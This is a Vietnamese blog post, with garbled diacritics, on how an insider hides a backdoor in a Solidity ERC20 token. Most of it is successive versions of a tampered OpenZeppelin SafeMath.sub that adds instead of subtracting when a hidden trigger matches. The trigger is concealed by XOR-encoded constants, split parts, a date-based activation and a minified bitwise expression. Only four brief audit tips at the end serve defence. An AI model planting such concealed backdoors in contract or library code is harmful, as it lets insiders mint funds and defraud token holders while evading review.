Hacker cài backdoor vào SmartContract nh? th? nào

Hacker cài backdoor vào SmartContract nh? th? nào



Hacker th?c hi?n hack/exploit ???c m?t smartcontract gay ra thi?t h?i hàng tri?u ??n tr?m tri?u USD kh?ng ph?i là hi?m trong blockchain . Nh?ng có m?t d?ng m?t d?y, ?ó là nh?n d? án outsource ho?c nhan viên trong c?ng ty , hay c? ch? d? án c? tình cài backdoor trong smartcontract kh?ng ph?i là hi?m, n?u kh?ng mu?n nói là nhi?u vcd.

H?m nay t?i s? ví d? v? quá trình m?t hacker cài backdoor vào smartcontract s? d?ng solidity.

Th??ng thì các chiêu trò th?ng th??ng nh? ?? contract Proxy hay Upgrade , hay open các hàm mint , cài ??t m?t s? ?i?u ki?n r?t d? b? phát hi?n nên t?i s? kh?ng nêu trong bài vi?t này, ? ?ay t?i l?y ví d? v? m?t cách làm khác, kinh kh?ng t?m l?m h?n.

M?c ?ích : Hacker mu?n t?ng s? d? c?a mình.

Phan tích : Ki?u gì thì ki?u hacker mu?n làm ?i?u này ??u ph?i làm 1 chuy?n là cài ??t vào hàm nào ?ó mà can thi?p vào cái map _balance

mapping(address account => uint256) private _balances;        

v?y ph?i ki?m ch? nhét cái l?nh balances[hackwaller] = xyz ho?c balances[hackwaller] += xyz

V?y là hacker phiên b?n ??u tiên ra ??i, h?n can thi?p vào hàm burn ho?c transfer ?? th?c hi?n

if(hackwaller==0xABC) thì th?c hi?n _balances[hackwaller] += xyz

Mà th? này thì l? quá. nh?t là khi trong code xu?t hi?n 1 ??a ch? ví l?. và 2 hàm này c?ng r?t d? b? soi . Còn ph?i v??t qua Unitest n?a.

Hacker ngh? ??n can thi?p vào hàm transfer hay burn c?a th? vi?n. ?? làm ???c ?i?u này thì hacker l?y c? th? vi?n ??y v? r?i s?a vào. Ho?c n?u code b?ng framework based on nodejs thì s?a vào node-modules

??n ?ay hacker gi?u ???c code logic vào th? vi?n ? ?ay ERC20.sol ít b? chú y h?n và b?ng cách này r?t nhi?u ?ng dev ?? tr? thành tri?u phú ho?c b? gi?t , ho?c ?i tù.

Và vì ERC20.sol v?n ch?a ?? kín và cái logic c? chu?i n?u sender là 0xABC if(hackwaller==0xABC) quá l? li?u. Hacker ngh? ??n gi?u nó vào hàm nào ?ó c?a th? vi?n sau h?n . ? ?ay hacker gi?u vào SafeMath

Khi chuy?n token t? ví A sang ví B , ERC20 s? c?ng ti?n cho ví B và tr? ti?n ? ví A. Code nó th? này .

unchecked { _balances[sender] = senderBalance.sub(amount); } 

_balances[recipient] += amount; 

emit Transfer(sender, recipient, amount);        


D? là n?u ta can thi?p vào hàm sub ??i tr? thành c?ng là s? ki?m dc ti?n. Tuy nhiên n?u ch? nh? v?y thì logic lo?n lên h?t c?. V?y ta s? ?n ??nh 1 h?ng s? ?? khi amount == H?NG s? kia ta m?i héc


// File: @openzeppelin/contracts/utils/math/SafeMath.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    // Magic number ?? kích ho?t backdoor
    uint256 private constant MAGIC_NUMBER = 123456789123456789;

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == MAGIC_NUMBER) {
            // Backdoor: T?ng giá tr? thay vì gi?m
            return a + b;
        }
        return a - b;
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        


??n ?ay l?i t?o ra ???c vài chú tri?u phú . Code v?n có nh??c ?i?m là magic number kia to chình ình ra. C?n ph?i gi?u nó ?i , và c? cái if kia c?ng d? b? search th?y. Ok gi?u nào

// File: @openzeppelin/contracts/utils/math/SafeMath.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    // Magic number ???c m? hóa
    uint256 private constant ENCODED_MAGIC = 0x1B69B4BACD05F15CD5;

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        unchecked {
            uint256 c = a - b;
            uint256 d = (b ^ ENCODED_MAGIC) & 0xFFFFFFFFFFFFFFFF;
            uint256 e = (d * (d ^ 0xFFFFFFFFFFFFFFFF)) >> 63;
            c = (c & (e - 1)) | ((a + (~b ^ (1 << 255)) + 1) & (-e));
            return c;
        }
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        


Nh? b?n th?y ??y kh?ng có cái IF n?a và magic number th?t s? c?ng kh?ng kh?a m?ng cho thiên h? nhìn n?a. Nh?ng ??n ?ay hacker mu?n magic number ph?c t?p n?a thì sao ? D? th?i tách làm 2 ph?n

// File: @openzeppelin/contracts/utils/math/SafeMath.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    // Magic number ???c m? hóa và phan tán
    uint256 private constant PART1 = 0x1234567890ABCDEF;
    uint256 private constant PART2 = 0xFEDCBA0987654321;

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        unchecked {
            uint256 x = PART1 ^ PART2;
            uint256 y = (x << 64) | (x >> 192);
            uint256 z = y ^ (y << 32) ^ (y << 96) ^ (y << 160);
            uint256 w = (z >> 128) | (z << 128);
            uint256 v = w ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
            
            uint256 mask = ((b ^ v) & (b ^ ~v)) >> 255;
            uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
            
            return result;
        }
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        

B?n th?y ?? ch?a ? N?u ch?a h?y ch?i trò s?a m?t magic numner thành 1 giá tr? nào ?ó s?n có, ? ?ay t?i ch?i trò l?y blocktime ti?n th? cài lu?n ?i?u ki?n kích ho?t vào 1/1/2025

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    // Magic number ???c t?o ??ng t? th?i gian block
    uint256 private constant TARGET_TIMESTAMP = 1735689600; // Unix timestamp cho 1/1/2025 00:00:00 UTC
    uint256 private constant PART2 = 0xFEDCBA0987654321;

    function sub(uint256 a, uint256 b) internal view returns (uint256) {
        unchecked {
            uint256 PART1 = uint256(blockhash(block.number - 1)) & 0xFFFFFFFF;
            if (block.timestamp >= TARGET_TIMESTAMP) {
                PART1 = (TARGET_TIMESTAMP / 86400) & 0xFFFFFFFF; // 86400 là s? giay trong m?t ngày
            }

            uint256 x = PART1 ^ PART2;
            uint256 y = (x << 64) | (x >> 192);
            uint256 z = y ^ (y << 32) ^ (y << 96) ^ (y << 160);
            uint256 w = (z >> 128) | (z << 128);
            uint256 v = w ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
            
            uint256 mask = ((b ^ v) & (b ^ ~v)) >> 255;
            uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
            
            return result;
        }
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        

Nh? v?y ch? sau ngày 1/1/2025 m?i hack dc , hacker s? vi?t bot ?? có th? tr? thành ng??i ??u tiên , sau ?ó bán token ra và én.

T?t nhiên hacker s? ph?c t?p hóa code lên b?ng cách lo?i b? các bi?n trung gian , các h?ng s? , và lo?i b? lu?n c? l?nh if ?? cho ?ng hacker khác có nhìn vào c?ng hoa m?t chóng m?t ?au ??u.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal view returns (uint256) {
        unchecked {
            uint256 t = block.timestamp;
            uint256 h = uint256(blockhash(block.number - 1));
            
            // 0x67747400 = TARGET_TIMESTAMP >> 32
            // 0xFEDCBA09 = PART2 >> 32
            uint256 x = (0x67747400 ^ 0xFEDCBA09) + (t >> 32);
            
            // Lo?i b? if b?ng cách s? d?ng bitwise
            uint256 y = (((x - 0x67747400) >> 255) & h) | (~((x - 0x67747400) >> 255) & (t / 86400));
            
            uint256 z = (y & 0xFFFFFFFF) ^ 0x87654321;
            uint256 w = (z << 64) | (z >> 192);
            uint256 v = w ^ (w << 32) ^ (w << 96) ^ (w << 160);
            uint256 u = (v >> 128) | (v << 128);
            uint256 s = u ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
            
            uint256 mask = ((b ^ s) & (b ^ ~s)) >> 255;
            uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
            
            return result;
        }
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        

Code thiaatj thì ko có comment ?au nhá , ??c b?t ??u ngáo r?i ?úng kh?ng ? OK gi? thì final b?ng cách ghép h?t vào 1 bi?u th?c duy nh?t minify, và obfuscatenó ?i ( ? ?ay cho d? ??c t?i s? ch? th?c hiên ghép)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal view returns (uint256) {
        unchecked {
            uint256 x = ((0x67747400 ^ 0xFEDCBA09) + (block.timestamp >> 32));
            uint256 s = (((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 8) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 24) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 40)) >> 32 | 
                (((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 8) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 24) ^ 
                ((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) | 
                ((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) | 
                (~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 40)) << 224) ^ 0xFFFFFFFF;
            return (a - b) & (~(((b ^ s) & (b ^ ~s)) >> 255)) | ((a + (~b ^ (1 << 255)) + 1) & (((b ^ s) & (b ^ ~s)) >> 255));
        }
    }

    // Các hàm khác c?a SafeMath gi? nguyên...
}        

Nào ??n ?ay ?? ?au ??u r?i, t?i có ch?c k? thu?t n?a ?? ghép vào cái pipline này ?? ?ng nào ??c còn n?n lu?n c? . Nh?ng t?m th? ?? . Tóm cái váy l?i là :

?ay là m?t ví d? ?i?n hình v? cách mà m? ??c có th? ???c ?n gi?u trong các hàm tr?ng có v? v? h?i.

Có nhi?u k? thu?t khác nh? c? tình ?? l?i bug và gi?u hay thêm ?i?u ki?n th?c hi?n, killer switch nh?ng t?i h??ng d?n ??n ?ay th?i, ch? VN mà nhi?u b?n dev ?i tù quá thì l?y ai code cho t? b?n.

  1. Lu?n yêu c?u gi?i thích chi ti?t cho b?t k? ?o?n code ph?c t?p nào trong quá trình audit.
  2. S? d?ng các c?ng c? phan tích t?nh ?? phát hi?n các m?u code b?t th??ng.
  3. Th?c hi?n ki?m tra k? l??ng ??i v?i các th? vi?n ???c import, ??c bi?t là nh?ng th? vi?n x? ly các phép toán quan tr?ng.
  4. Tri?n khai các bài ki?m tra fuzz testing v?i nhi?u giá tr? ??u vào khác nhau ?? phát hi?n các hành vi b?t th??ng.

Nguyen Manh Ha

Fullstack Software Engineer, AWS Cloud Practitioner

7 个月

th?o nào có nh?ng b?n dev làm web3/blockchain r?i g?p 1 s? tai ??ng trong cu?c s?ng ??

要查看或添加评论,请登录

Bui Dinh Ngoc的更多文章